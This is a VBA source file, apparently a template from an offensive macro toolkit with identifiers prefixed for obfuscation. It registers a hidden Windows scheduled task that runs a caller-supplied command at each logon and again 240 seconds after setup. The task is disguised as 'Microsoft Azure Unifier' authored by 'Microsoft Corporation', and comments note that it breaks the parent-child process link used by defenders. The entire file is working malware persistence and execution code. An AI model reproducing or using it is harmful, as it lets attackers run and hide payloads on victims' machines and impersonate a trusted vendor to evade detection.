'
' This launching technique will create a new scheduled task for the 
' command specified, to be launched during user's logon.
'
' If --dont-launch was not given (for stopping immediate execution) will add yet another
' trigger to the task scheduled, launching the command in 240 seconds after
' scheduling.
'
' Allows to dechain Parent-Child relationship, spawned command will be child of task scheduler. Highly reliable.
'

Function obf_GetUserFullName() As String
    Dim obf_WSHnet, obf_UserName, obf_UserDomain, obf_objUser
    Set obf_WSHnet = CreateObject("WScript.Network")
    obf_UserName = obf_WSHnet.UserName
    obf_UserDomain = obf_WSHnet.UserDomain
    Set obf_objUser = GetObject("WinNT://" & obf_UserDomain & "/" & obf_UserName & ",user")
    If Len(obf_objUser.FullName) = 0 Then
        obf_GetUserFullName = obf_UserDomain & "\" & obf_UserName
    Else
        obf_GetUserFullName = obf_objUser.FullName
    End If
End Function

Function obf_XmlTime(obf_time)
    Dim obf_cSecond, obf_cMinute, obf_CHour, obf_cDay, obf_cMonth, obf_cYear
    Dim obf_tTime, obf_tDate

    obf_cSecond = "0" & Second(obf_time)
    obf_cMinute = "0" & Minute(obf_time)
    obf_CHour = "0" & Hour(obf_time)
    obf_cDay = "0" & Day(obf_time)
    obf_cMonth = "0" & Month(obf_time)
    obf_cYear = Year(obf_time)

    obf_tTime = Right(obf_CHour, 2) & ":" & Right(obf_cMinute, 2) & _
        ":" & Right(obf_cSecond, 2)
    obf_tDate = obf_cYear & "-" & Right(obf_cMonth, 2) & "-" & Right(obf_cDay, 2)
    obf_XmlTime = obf_tDate & "T" & obf_tTime
End Function

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError

    Dim obf_principal, obf_rootFolder, obf_settings, obf_triggers
    Dim obf_trigger, obf_startTime, obf_endTime, obf_time, obf_Action
    Dim obf_taskDefinition, obf_regInfo, obf_taskName, obf_logonType
    Dim obf_taskTrigger, obf_taskTrigger2, obf_trigger2
    Dim obf_ShouldILaunchIt, obf_Delay, obf_AtLogon

    obf_ShouldILaunchIt = True
    obf_Delay = 240
    obf_AtLogon = True

    ' 3 - TASK_LOGON_INTERACTIVE_TOKEN - Set the logon type to interactive logon
    obf_logonType = 3

    ' 0 - TASK_TRIGGER_EVENT
    ' 1 - TASK_TRIGGER_TIME
    ' 2 - TASK_TRIGGER_DAILY
    ' 6 - TASK_TRIGGER_IDLE
    ' 7 - TASK_TRIGGER_REGISTRATION
    ' 8 - TASK_TRIGGER_BOOT
    ' 9 - TASK_TRIGGER_LOGON
    obf_taskTrigger = 1
    obf_taskTrigger2 = 9

    ' 0 - TASK_ACTION_EXEC - specifies an executable action
    obf_taskAction = 0

    obf_taskName = "Microsoft Azure Unifier"
    obf_taskAuthor = "Microsoft Corporation"
    obf_taskDescription = "Microsoft Azure Unifier"

    Set obf_service = CreateObject("Schedule.Service")
    Call obf_service.Connect

    Set obf_rootFolder = obf_service.GetFolder("\")
    Set obf_taskDefinition = obf_service.NewTask(0)

    Set obf_regInfo = obf_taskDefinition.RegistrationInfo
    obf_regInfo.Description = obf_taskDescription
    obf_regInfo.Author = obf_taskAuthor

    Set obf_principal = obf_taskDefinition.principal
    obf_principal.LogonType = obf_logonType

    Set obf_settings = obf_taskDefinition.settings
    obf_settings.Enabled = True
    obf_settings.StartWhenAvailable = True
    obf_settings.Hidden = True

    Set obf_triggers = obf_taskDefinition.triggers

    If obf_AtLogon Then
        Set obf_trigger2 = obf_triggers.Create(obf_taskTrigger2)
        obf_time = DateAdd("s", 5, Now)
        obf_startTime = obf_XmlTime(obf_time)
        obf_trigger2.StartBoundary = obf_startTime
        obf_trigger2.EndBoundary = "2023-02-04T00:00:00"

        obf_trigger2.ExecutionTimeLimit = "PT129600M"
        obf_trigger2.ID = "LogonTrigger"
        obf_trigger2.Enabled = True
        obf_trigger2.UserId = obf_GetUserFullName
    End If

    If obf_ShouldILaunchIt Then
        Set obf_trigger = obf_triggers.Create(obf_taskTrigger)

        'start time = 240 seconds from now
        obf_time = DateAdd("s", obf_Delay, Now)
        obf_startTime = obf_XmlTime(obf_time)

        'end time = 129600 minutes (90 days) from now
        obf_time = DateAdd("n", 129600, Now)
        obf_endTime = obf_XmlTime(obf_time)

        obf_trigger.StartBoundary = obf_startTime
        obf_trigger.EndBoundary = obf_endTime

        ' 129600 minutes for execution time limit
        obf_trigger.ExecutionTimeLimit = "PT129600M"
        obf_trigger.ID = "TimeTrigger"
        obf_trigger.Enabled = True
    End If

    Set obf_Action = obf_taskDefinition.Actions.Create(obf_taskAction)
    obf_Action.Path = obf_command

    Call obf_rootFolder.RegisterTaskDefinition( _
        obf_taskName, obf_taskDefinition, 6, , , 3)

obf_ProcError:
End Sub
